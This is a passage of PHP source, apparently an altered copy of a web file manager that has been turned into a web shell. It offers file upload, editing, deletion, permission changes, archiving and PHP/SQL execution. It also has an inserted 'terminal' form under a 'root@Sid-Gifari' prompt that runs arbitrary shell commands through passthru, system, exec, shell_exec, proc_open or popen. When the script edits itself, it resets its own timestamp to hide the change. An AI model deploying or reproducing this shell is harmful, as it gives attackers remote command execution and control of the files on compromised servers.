	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
